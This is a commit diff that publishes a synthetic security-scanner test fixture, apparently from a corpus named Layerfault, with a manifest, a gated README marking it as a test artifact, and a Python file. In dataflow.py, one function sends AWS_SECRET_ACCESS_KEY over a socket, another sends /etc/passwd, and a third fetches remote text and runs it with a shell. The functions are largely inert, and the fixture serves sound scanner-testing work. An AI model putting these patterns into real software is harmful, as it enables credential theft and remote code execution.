Publish Layerfault synthetic corpus LF-CORPUS-PY-0002

LAYERFAULT_CORPUS.json

@@ -0,0 +1,21 @@
+{
+  "candidate_rules": [],
+  "corpus_id": "LF-CORPUS-PY-0002",
+  "description": "Python package with synthetic credential/file-to-network and network-to-process data flows.",
+  "expected_rules": [
+    "LF-PY-FLOW-CREDENTIAL-NETWORK",
+    "LF-PY-FLOW-FILE-NETWORK",
+    "LF-PY-FLOW-NETWORK-EXEC"
+  ],
+  "generator": "packages.python_dataflow_chain",
+  "ground_truth": "synthetic-generated",
+  "must_not_rules": [],
+  "repo_name": "python-dataflow-capability-chain",
+  "repo_type": "model",
+  "safety": "inert/canary-only",
+  "schema": 1,
+  "validation": {
+    "kind": "verify-package",
+    "target": "."
+  }
+}

README.md

@@ -0,0 +1,57 @@
+---
+license: apache-2.0
+tags:
+- layerfault
+- security-research
+- model-security
+- synthetic
+- adversarial-testing
+extra_gated_prompt: >-
+  This repository is a synthetic security-test artifact from the Layerfault
+  corpus. It intentionally contains adversarial characteristics (e.g.
+  suspicious pickle opcodes, executable-format smuggling, prompt-injection
+  strings) designed to exercise security scanner detection rules. It is
+  **not** a usable ML model and must never be loaded or executed outside an
+  isolated scanner-testing environment. By accepting, you confirm you
+  understand this repository is a test fixture, not production model
+  weights.
+extra_gated_button_content: I understand this is a security test fixture and accept the risk
+gated: auto
+---
+
+# python-dataflow-capability-chain
+
+> **SECURITY TEST ARTIFACT — DO NOT USE AS A PRODUCTION MODEL**
+
+This repository is part of the Layerfault synthetic security corpus.
+It is deliberately constructed to contain security-relevant characteristics for scanner testing.
+
+**Corpus ID:** `LF-CORPUS-PY-0002`
+
+## Purpose
+
+Python package with synthetic credential/file-to-network and network-to-process data flows.
+
+## Direct expected Layerfault rules
+
+- `LF-PY-FLOW-CREDENTIAL-NETWORK`
+- `LF-PY-FLOW-FILE-NETWORK`
+- `LF-PY-FLOW-NETWORK-EXEC`
+
+## Candidate rules
+
+These are deliberately plausible targets that remain marked as candidates until the exact
+Layerfault build used for certification confirms them.
+
+- None
+
+## Negative-control rules
+
+These should remain silent for this corpus item.
+
+- None
+
+## Safety
+
+The corpus uses fake secrets, loopback/`.invalid` network destinations, harmless marker output,
+and synthetic model behavior only. It is intended for static scanning and isolated security testing.

SHA256SUMS.json

@@ -0,0 +1,27 @@
+[
+  {
+    "path": "LAYERFAULT_CORPUS.json",
+    "sha256": "eaf8852e9bf3dcfe2dff002348c0359ef541fee5de210cd714fedd60d4bf0711",
+    "size": 609
+  },
+  {
+    "path": "README.md",
+    "sha256": "e69c8187615fec06f877f459cfe08eaa2393a763e5d0778d8f85bd4b5b35b836",
+    "size": 1772
+  },
+  {
+    "path": "config.json",
+    "sha256": "7f4d3cdb1f63fda322a525866d2c91b9caf41ec646d1ea7e257e8bfcd5ce8e64",
+    "size": 50
+  },
+  {
+    "path": "dataflow.py",
+    "sha256": "70f99768c92ee45785d229004352096de811f20dd4d5b11045cb7ab15cbd59e6",
+    "size": 583
+  },
+  {
+    "path": "model.safetensors",
+    "sha256": "a93e4b89dd8218d941be2b57882ed3185f71a7ebfc003548fd494aa8a795ca2f",
+    "size": 856
+  }
+]

config.json

@@ -0,0 +1,3 @@
+{
+  "model_type": "layerfault_dataflow_fixture"
+}

dataflow.py

@@ -0,0 +1,21 @@
+import os, socket, subprocess, urllib.request
+
+def credential_to_network():
+    secret = os.environ.get("AWS_SECRET_ACCESS_KEY")
+    s = socket.socket()
+    try:
+        s.send(secret.encode() if secret else b"")
+    finally:
+        s.close()
+
+def file_to_network():
+    data = open("/etc/passwd", "r", encoding="utf-8").read()
+    s = socket.socket()
+    try:
+        s.send(data.encode())
+    finally:
+        s.close()
+
+def network_to_exec():
+    data = urllib.request.urlopen("http://127.0.0.1:9", timeout=0.01).read().decode()
+    subprocess.run(data, shell=True, check=False)

model.safetensors

@@ -0,0 +1,3 @@
+version https://git-lfs.github.com/spec/v1
+oid sha256:a93e4b89dd8218d941be2b57882ed3185f71a7ebfc003548fd494aa8a795ca2f
+size 856